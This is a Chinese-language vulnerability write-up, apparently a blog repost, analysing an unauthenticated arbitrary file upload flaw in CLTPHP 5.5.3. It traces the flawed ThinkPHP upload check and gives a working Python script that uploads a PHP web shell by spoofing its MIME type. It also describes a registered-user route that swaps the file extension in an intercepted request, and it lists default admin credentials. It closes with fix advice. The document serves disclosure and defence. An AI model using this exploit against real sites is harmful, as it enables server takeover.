1. 程式人生 > >【程式碼審計】CLTPHP_v5.5.3 前臺任意檔案上傳漏洞分析

【程式碼審計】CLTPHP_v5.5.3 前臺任意檔案上傳漏洞分析

 

0x00 環境準備

CLTPHP官網:http://www.cltphp.com

網站原始碼版本:CLTPHP內容管理系統5.5.3版本

程式原始碼下載:https://gitee.com/chichu/cltphp

預設後臺地址: http://127.0.0.1/admin/login/index.html

預設賬號密碼: 後臺登入名:admin  密碼:admin123

測試網站首頁:

 

 

0x01 程式碼分析

1、漏洞檔案位置:/app/user/controller/UpFiles.php 第5-25行:

 

    在這段函式中,未經使用者許可權驗證,獲取表單內容,存在越權繞過上傳的情況。我們繼續跟進move函式:

2、檔案位置:/think/library/think/File.php 第329-377行:

 

在這段函式中,經過一系列檢測後上傳檔案,我們重點來看一下check驗證上傳函式。

3、檔案位置:/think/library/think/File.php 第218-245行:

 

在check函式中檢查檔案大小、Mime型別、檔案字尾等,主要是從陣列$rule中獲取,check函式未帶入引數$rule,故$rule採用預設值,我們看一下$rule的值

 

在同文件中$rule預設值為date,呼叫ThinkPHP的上傳函式,但配置不當導致過濾函式chenk無效,導致程式在實現存在任意檔案上傳漏洞,攻擊者無需任何許可權,可直接上傳惡意指令碼,控制網站伺服器許可權。

0x02 漏洞利用

利用方式一:

1、 通過編寫Python指令碼,模擬Ajax 非同步請求,

Python’指令碼如下:

  1. #!/usr/bin/python  
  2. #-*- coding: UTF-8 -*-  
  3. import requests  
  4.   
  5. header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,  
  6.             'X-Requested-With': 'XMLHttpRequest',}   
  7. url = "http://127.0.0.1/user/upFiles/upload"  
  8. files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}  
  9. res = requests.post(url, files=files,headers=header)  

10. print res.text  

2、在同一目錄下放置指令碼和1.php檔名的小馬,執行Python指令碼,成功上傳木馬並返回路徑。

 

3、訪問url,成功getshell

 

 

利用方式二:

1、在前臺註冊一個使用者test,登入會員中心

 

2、在會員中心—設定—上傳圖片馬(包含一句話)—抓包改包為php字尾名

 

 

3、訪問shell地址,成功獲取網站許可權

http://127.0.0.1/public/uploads/20180309/64a211154e71c05795a9f901860b62b9.php

 

0x03 修復建議

1、新增上傳頁面的認證,通過白名單限制上傳檔案字尾;

2、禁止上傳目錄指令碼執行許可權。

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。